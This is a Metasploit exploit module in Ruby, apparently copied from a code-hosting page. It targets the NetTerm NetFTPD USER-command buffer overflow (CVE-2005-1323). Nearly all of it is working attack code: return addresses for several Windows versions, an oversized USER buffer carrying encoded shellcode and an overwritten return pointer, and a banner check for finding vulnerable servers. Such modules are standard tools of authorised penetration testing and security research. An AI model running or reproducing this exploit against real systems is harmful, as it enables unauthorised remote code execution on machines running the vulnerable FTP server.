108 lines
2.7 KiB
Ruby
108 lines
2.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'NetTerm NetFTPD USER Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the NetTerm NetFTPD
|
|
application. This package is part of the NetTerm package.
|
|
This module uses the USER command to trigger the overflow.
|
|
},
|
|
'Author' => [ 'hdm' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2005-1323'],
|
|
[ 'OSVDB', '15865'],
|
|
[ 'URL', 'http://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
|
|
[ 'BID', '13396'],
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'BadChars' => "\x00\x0a\x20\x0d",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => [ 'win' ],
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'NetTerm NetFTPD Universal', # Tested OK - hdm 11/24/2005
|
|
{
|
|
'Ret' => 0x0040df98, # netftpd.exe (multiple versions)
|
|
},
|
|
],
|
|
[
|
|
'Windows 2000 English',
|
|
{
|
|
'Ret' => 0x75022ac4, # ws2help.dll
|
|
},
|
|
],
|
|
[
|
|
'Windows XP English SP0/SP1',
|
|
{
|
|
'Ret' => 0x71aa32ad, # ws2help.dll
|
|
},
|
|
],
|
|
[
|
|
'Windows 2003 English',
|
|
{
|
|
'Ret' => 0x7ffc0638, # peb magic :-)
|
|
},
|
|
],
|
|
[
|
|
'Windows NT 4.0 SP4/SP5/SP6',
|
|
{
|
|
'Ret' => 0x77681799, # ws2help.dll
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Apr 26 2005',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
connect
|
|
disconnect
|
|
if (banner =~ /NetTerm FTP server/)
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
# U push ebp
|
|
# S push ebx
|
|
# E inc ebp
|
|
# R push edx
|
|
# \x20\xC0 and al, al
|
|
|
|
buf = rand_text_english(8192, payload_badchars)
|
|
buf[0, 1] = "\xc0"
|
|
buf[1, payload.encoded.length] = payload.encoded
|
|
buf[1014, 4] = [ target.ret ].pack('V')
|
|
|
|
send_cmd( ["USER #{buf}"] )
|
|
send_cmd( ['HELP'] )
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|